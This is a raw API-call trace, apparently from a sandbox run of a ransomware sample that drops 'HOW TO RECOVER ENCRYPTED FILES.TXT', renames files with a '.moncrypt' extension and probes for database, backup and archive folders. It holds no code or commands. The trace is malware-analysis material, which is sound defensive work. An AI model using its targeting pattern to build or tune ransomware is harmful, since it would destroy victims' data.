ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0 [0055.139] GetLastError () returned 0x12 [0055.139] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0055.139] GlobalLock (hMem=0x440004) returned 0x550170 [0055.139] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.139] GlobalUnlock (hMem=0x440004) returned 0 [0055.140] GlobalLock (hMem=0x440004) returned 0x550170 [0055.140] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.140] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.140] GlobalUnlock (hMem=0x440004) returned 0 [0055.140] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.140] GlobalUnlock (hMem=0x44000c) returned 0 [0055.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d88, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0055.140] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x420e33c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x420e33c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0055.140] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0055.140] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.140] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.140] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.140] GlobalUnlock (hMem=0x44000c) returned 0 [0055.140] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.140] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.140] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.140] GlobalUnlock (hMem=0x44000c) returned 0 [0055.140] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.140] GlobalUnlock (hMem=0x440004) returned 0 [0055.140] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.140] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x420e33c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x420e33c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.140] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.140] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.141] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.141] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.141] GlobalUnlock (hMem=0x440004) returned 0 [0055.141] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.141] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.141] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.141] GlobalUnlock (hMem=0x440004) returned 0 [0055.141] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.141] GlobalUnlock (hMem=0x44000c) returned 0 [0055.141] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.141] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x420e33c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x420e33c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x420e33c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0055.141] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.141] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.141] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.141] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.141] GlobalUnlock (hMem=0x44000c) returned 0 [0055.141] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.141] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.141] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.141] GlobalUnlock (hMem=0x44000c) returned 0 [0055.141] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.141] GlobalUnlock (hMem=0x440004) returned 0 [0055.141] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.141] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166c73, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS.moncrypt", cAlternateFileName="MSB1FR~1.MON")) returned 1 [0055.141] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.141] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.141] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.142] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.142] GlobalUnlock (hMem=0x440004) returned 0 [0055.142] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.142] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.142] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.142] GlobalUnlock (hMem=0x440004) returned 0 [0055.142] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.142] GlobalUnlock (hMem=0x44000c) returned 0 [0055.142] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.142] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166c73, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS.moncrypt", cAlternateFileName="MSB1FR~1.MON")) returned 0 [0055.142] GetLastError () returned 0x12 [0055.142] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0055.142] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0055.142] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.142] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.142] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.142] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.142] GlobalUnlock (hMem=0x44000c) returned 0 [0055.142] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.143] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.143] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.143] GlobalUnlock (hMem=0x44000c) returned 0 [0055.143] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.143] GlobalUnlock (hMem=0x440004) returned 0 [0055.143] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.143] GlobalLock (hMem=0x440004) returned 0x550170 [0055.143] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.143] GlobalUnlock (hMem=0x440004) returned 0 [0055.143] GlobalLock (hMem=0x440004) returned 0x550170 [0055.143] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.143] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.143] GlobalUnlock (hMem=0x440004) returned 0 [0055.143] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.143] GlobalUnlock (hMem=0x44000c) returned 0 [0055.143] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.143] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN", len=0x3c | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN") returned 1 [0055.143] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.143] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.143] GlobalUnlock (hMem=0x44000c) returned 0 [0055.143] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.143] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.143] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.143] GlobalUnlock (hMem=0x44000c) returned 0 [0055.143] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.143] GlobalUnlock (hMem=0x440004) returned 0 [0055.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0055.144] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a750, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@싢R슶R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0055.144] GetLastError () returned 0x3 [0055.144] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0055.144] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a750, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@숼R企@\x18㿬Q\x181")) returned 0xffffffff [0055.144] GetLastError () returned 0x2 [0055.144] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0055.144] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a750, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@삌R企@\x18?T\x18;")) returned 0xffffffff [0055.145] GetLastError () returned 0x2 [0055.145] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.145] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a740, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0055.145] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a750, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@뱔R企@\x18?T\x18D")) returned 0xffffffff [0055.145] GetLastError () returned 0x2 [0055.145] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.145] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a740, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0055.145] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a750, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@숼R企@\x18삌R\x18j")) returned 0xffffffff [0055.145] GetLastError () returned 0x2 [0055.145] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.145] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0055.145] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a750, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@뱔R企@\x18?T\x18q")) returned 0xffffffff [0055.146] GetLastError () returned 0x2 [0055.146] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a740, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\삈RP") returned 6 [0055.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a750, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@뾴R企@\x18?T\x18y")) returned 0xffffffff [0055.146] GetLastError () returned 0x2 [0055.146] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a740, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0055.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a750, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@숼R企@\x18?T\x18\x81")) returned 0xffffffff [0055.146] GetLastError () returned 0x2 [0055.146] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a740, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0055.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a750, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@뱔R企@\x18?T\x18\x88")) returned 0xffffffff [0055.146] GetLastError () returned 0x2 [0055.146] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a740, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0055.147] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a750, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@뾴R企@\x18?T\x18\x8f")) returned 0xffffffff [0055.147] GetLastError () returned 0x2 [0055.147] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a740, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0055.147] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a750, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="뭼R䱠@숼R企@\x18?T\x18\x97")) returned 0xffffffff [0055.147] GetLastError () returned 0x2 [0055.147] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a740, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0055.147] GlobalLock (hMem=0x440004) returned 0x550170 [0055.147] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.147] GlobalUnlock (hMem=0x440004) returned 0 [0055.147] GlobalLock (hMem=0x440004) returned 0x550170 [0055.147] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.147] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.147] GlobalUnlock (hMem=0x440004) returned 0 [0055.147] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.147] GlobalUnlock (hMem=0x44000c) returned 0 [0055.147] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.147] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0055.148] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.148] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0055.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0055.148] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\fren\\") returned 0x3d [0055.148] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0055.148] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft 